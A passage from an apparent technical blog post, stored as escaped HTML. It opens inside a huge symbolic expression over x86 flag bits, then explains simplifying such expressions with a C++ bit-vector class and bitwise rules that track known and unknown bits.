0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])])]|~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])])])])&amp;gt;&amp;gt;(0x6&amp;amp;-0x1))+-0x1)]|~[0x14000b6de])]&amp;amp;~[(~[(((~[-0x41]&amp;amp;~[(~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])])]|~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])])])])&amp;gt;&amp;gt;(0x6&amp;amp;-0x1))+-0x1)]|~[0x14000b6de])]))+arg0x0?q&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;Since this expression is practically unreadable at the moment, let&amp;rsquo;s ignore it for now. After implementing the cache check and recursing into operands bit, starting with constant-folding seems like a logical choice. However I will implement this with a &lt;em&gt;slight&lt;/em&gt; twist.&lt;/p&gt;
&lt;h2 id="0x3-overcome-your-fear-of-the-unknown"&gt;&lt;span class="hx"&gt;0x3:&lt;/span&gt; Overcome your fear of the unknown.&lt;/h2&gt;
&lt;p&gt;Expressing constant values in expressions as, well&amp;hellip;, constants work fine sure. But what about the rest? Say you are evaluating &lt;code&gt;(A&amp;gt;&amp;gt;1)&amp;amp;1&lt;/code&gt;, is the value of this expression really that &amp;ldquo;unknown&amp;rdquo; since you know that a high majority of the bits are zero? Do you really want to recursively pattern match every unit operand of the &lt;code&gt;((A&amp;gt;&amp;gt;1)&amp;amp;1)|0x21&lt;/code&gt; just to optimize it into &lt;code&gt;0x21&lt;/code&gt;? No, and you don&amp;rsquo;t.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s try representing the value as a bit vector instead with three basic properties.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Bit-vector holding 0 to 64 bits of value with optional unknowns.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;bit_vector&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Value of the known bits, mask of it can be found by [::known_mask()]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// - Guaranteed to hold 0 for unknown bits.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;known_bits&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Mask for the bit that we do not know.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// - Guaranteed to hold 0 for known bits and for all bits above bit_count.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;unknown_bits&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Number of bits this vector contains.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="n"&gt;bit_count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s refer to known bits as \(\psi^1(v)_n\) (where &lt;code&gt;1&lt;/code&gt; is the value that generates a set bit where unset bits indicate unknown bits and optionally &lt;code&gt;n&lt;/code&gt; as the bit index) and unknown bits as \(\omega(v)_n\) (following the same convention). \(\psi^0(v)\) will not be defined by itself in most cases as it can be resolved by a simple \(\BitNot (\psi^1(v) \BitOr \omega(v))\).&lt;/p&gt;
&lt;p&gt;All basic bitwise operators are implemented trivially in this convention as it can be seen in equations \eqref{eq:not_eq}, \eqref{eq:or_eq}, \eqref{eq:and_eq}, and \eqref{eq:xor_eq}.&lt;/p&gt;
&lt;p&gt;\begin{align} \psi^1(\BitNot v) &amp;amp;= \psi^0(v) \label{eq:not_eq} \\ \omega(\BitNot v) &amp;amp;= \omega(v) \nonumber \\ \nonumber \\ \psi^1(a \BitOr b) &amp;amp;= \psi^1(a) \BitOr \psi^1(b) \label{eq:or_eq} \\ \omega(a \BitOr b) &amp;amp;= (\omega(a) \BitOr \omega(b)) \BitAnd \BitNot \psi^1(a \BitOr b) \nonumber \\ \nonumber \\ \psi^1(a \BitAnd b) &amp;amp;= \psi^1(a) \BitAnd \psi^1(b) \label{eq:and_eq} \\ \omega(a \BitAnd b) &amp;amp;= (\omega(a) \BitOr \omega(b)) \BitAnd \BitNot \psi^0(a \BitOr b) \nonumber \\ \nonumber \\ \psi^1(a \BitXor b) &amp;amp;= (\psi^1(a) \BitXor \psi^1(b)) \BitAnd \BitNot \omega(a \BitXor b) \label{eq:xor_eq} \\ \omega(a \BitXor b) &amp;amp;= \omega(a) \BitOr \omega(b) \nonumber \\ \nonumber \\ \end{align}&lt;/p&gt;
&lt;p&gt;Similarly shifting and rotation can be expressed with the help of a few branches, as seen in equations \eqref{eq:shl_eq}, and \eqref{eq:rot_eq}. Rest of the operators can also be implemented in solutions ranging from &lt;code&gt;O(n²)&lt;/code&gt; to &lt;code&gt;O(1)&lt;/code&gt; with some bitwise magic, but I will not bore you with math any further, let&amp;rsquo;s move on.&lt;/p&gt;
&lt;p&gt;\begin{align} \psi^1(v \BitShl n) &amp;amp;= \begin{cases} 0 &amp;amp;&amp;amp; \text{if $\omega(n) \neq 0$ or $\psi^1(n) \geq bitcnt(v)$} \label{eq:shl_eq} \\ \psi^1(v) \BitShl \psi^1(n) &amp;amp;&amp;amp; \text{else} \\ \end{cases} \\ \omega(v \BitShl n) &amp;amp;= \begin{cases} 0 &amp;amp;&amp;amp; \text{if $\psi^0(v) = mask(v)$} \nonumber \\ mask(v) &amp;amp;&amp;amp; \text{if $\omega(n) \neq 0$} \nonumber \\ \omega(v) \BitShl \psi^1(n) &amp;amp;&amp;amp; \text{else} \nonumber \\ \end{cases} \nonumber \\ \nonumber \\ \psi^1(v \text{ rot } n) &amp;amp;= \begin{cases} \psi^1(v) &amp;amp;&amp;amp; \text{if $\psi^0(v) = mask(v)$ or $\psi^1(v) = mask(v)$} \label{eq:rot_eq} \\ 0 &amp;amp;&amp;amp; \text{if $\omega(n) \neq 0$} \\ \psi^1(v) \text{ rot } \psi^1(n) &amp;amp;&amp;amp; \text{else} \\ \end{cases} \\ \omega(v \text{ rot } n) &amp;amp;= \begin{cases} 0 &amp;amp;&amp;amp; \text{if $\psi^0(v) = mask(v)$ or $\psi^1(v) = mask(v)$} \nonumber \\ mask(v) &amp;amp;&amp;amp; \text{if $\omega(n) \neq 0$} \nonumber \\ \omega(v) \text{ rot } \psi^1(n) &amp;amp;&amp;amp; \text{else} \nonumber \\ \end{cases} \nonumber \\ \end{align}&lt;/p&gt;
